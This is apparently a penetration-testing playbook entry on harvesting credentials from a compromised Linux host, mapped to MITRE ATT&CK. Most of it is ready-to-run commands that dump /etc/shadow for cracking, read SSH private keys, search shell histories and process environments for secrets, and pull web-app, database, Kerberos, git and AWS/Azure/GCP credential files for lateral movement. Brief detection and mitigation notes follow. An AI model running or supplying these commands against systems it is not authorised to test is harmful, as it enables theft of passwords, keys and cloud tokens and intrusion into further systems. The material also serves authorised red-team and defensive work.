Linux Credential Harvesting
Overview
Linux stores credentials in predictable locations — /etc/shadow for system passwords, SSH keys in ~/.ssh/, application configs, history files, and environment variables. After gaining elevated access, harvest all available credentials to enable lateral movement. Even low-privileged users can often find credentials in application configs, history files, and key material.
ATT&CK Mapping
- Tactic: TA0006 - Credential Access
- Technique: T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow
- Technique: T1552.001 - Unsecured Credentials: Credentials In Files
- Technique: T1552.003 - Unsecured Credentials: Bash History
Prerequisites
- Shell access on the target Linux system
- Root access for
/etc/shadowand some credential stores
Techniques
System Password Hashes
# /etc/shadow (requires root)
cat /etc/shadow
# Hash format: $id$salt$hash
# $1$ = MD5
# $5$ = SHA-256
# $6$ = SHA-512 (most common on modern systems)
# $y$ = yescrypt (newer systems)
# Extract usernames and hashes for cracking
# Combine passwd and shadow for john/hashcat
unshadow /etc/passwd /etc/shadow > unshadowed.txt
SSH Keys
# Current user's SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/id_ed25519 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
cat ~/.ssh/known_hosts 2>/dev/null
# All users' SSH keys (requires root)
find /home/ -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find /root/.ssh/ -type f 2>/dev/null
# SSH agent — check for loaded keys
ssh-add -l 2>/dev/null
# SSH config may reveal hostnames, users, key paths
cat ~/.ssh/config 2>/dev/null
History Files
# Bash/Zsh history (may contain passwords in commands)
cat ~/.bash_history 2>/dev/null
cat ~/.zsh_history 2>/dev/null
# Search history for credentials
grep -iE 'pass|pwd|secret|token|key|credential|mysql|ssh|ftp|scp' ~/.bash_history 2>/dev/null
grep -iE 'pass|pwd|secret|token|key|credential|mysql|ssh|ftp|scp' ~/.zsh_history 2>/dev/null
# MySQL/PostgreSQL history
cat ~/.mysql_history 2>/dev/null
cat ~/.psql_history 2>/dev/null
# All users (requires root)
find /home/ -name ".*history" -exec cat {} \; 2>/dev/null
Application Credentials
# Web application config files
cat /var/www/html/wp-config.php 2>/dev/null # WordPress
cat /var/www/html/.env 2>/dev/null # Laravel, Django, etc.
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/configuration.php 2>/dev/null # Joomla
cat /var/www/html/sites/default/settings.php 2>/dev/null # Drupal
# Search recursively for passwords in web directories
grep -rl "password\|passwd\|db_pass\|DB_PASSWORD" /var/www/ 2>/dev/null
# Database configuration
cat /etc/mysql/debian.cnf 2>/dev/null # MySQL root credentials on Debian
cat /etc/my.cnf 2>/dev/null
cat ~/.my.cnf 2>/dev/null # Per-user MySQL config
# Service credentials
cat /etc/openvpn/*.conf 2>/dev/null
cat /etc/samba/smb.conf 2>/dev/null
# Docker/container secrets
cat /run/secrets/* 2>/dev/null
find / -name "docker-compose.yml" -exec grep -l "password\|secret" {} \; 2>/dev/null
Environment Variables
# Current environment
env | grep -iE 'pass|pwd|secret|token|key|api|credential'
# Process environment (requires root or same user)
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|pwd|secret|token|key'
Kerberos Tickets
# Check for Kerberos ticket cache
ls -la /tmp/krb5cc_* 2>/dev/null
klist 2>/dev/null
# Keytab files
find / -name "*.keytab" 2>/dev/null
Credential Files
# Generic credential search
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null | xargs grep -liE 'password|passwd|credential|secret' 2>/dev/null
# GPG keys
ls -la ~/.gnupg/ 2>/dev/null
# AWS credentials
cat ~/.aws/credentials 2>/dev/null
cat ~/.aws/config 2>/dev/null
# Azure credentials
cat ~/.azure/accessTokens.json 2>/dev/null
# GCP credentials
cat ~/.config/gcloud/credentials.db 2>/dev/null
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
# Git credentials
cat ~/.git-credentials 2>/dev/null
git config --list 2>/dev/null | grep credential
Detection Methods
Host-Based Detection
- Monitor access to
/etc/shadowby non-root processes - Alert on mass reading of history files across multiple users
- Monitor
unshadowcommand execution - File integrity monitoring on SSH key directories
Mitigation Strategies
- Restrict /etc/shadow permissions — ensure only root can read (mode 640 with shadow group)
- Clear history files — configure
HISTFILESIZE=0or usehistory -cfor sensitive operations - Use credential managers — avoid storing passwords in plaintext config files
- Rotate SSH keys — periodically rotate and audit authorized_keys files
- Encrypt sensitive configs — use vault solutions (HashiCorp Vault, Ansible Vault) for application credentials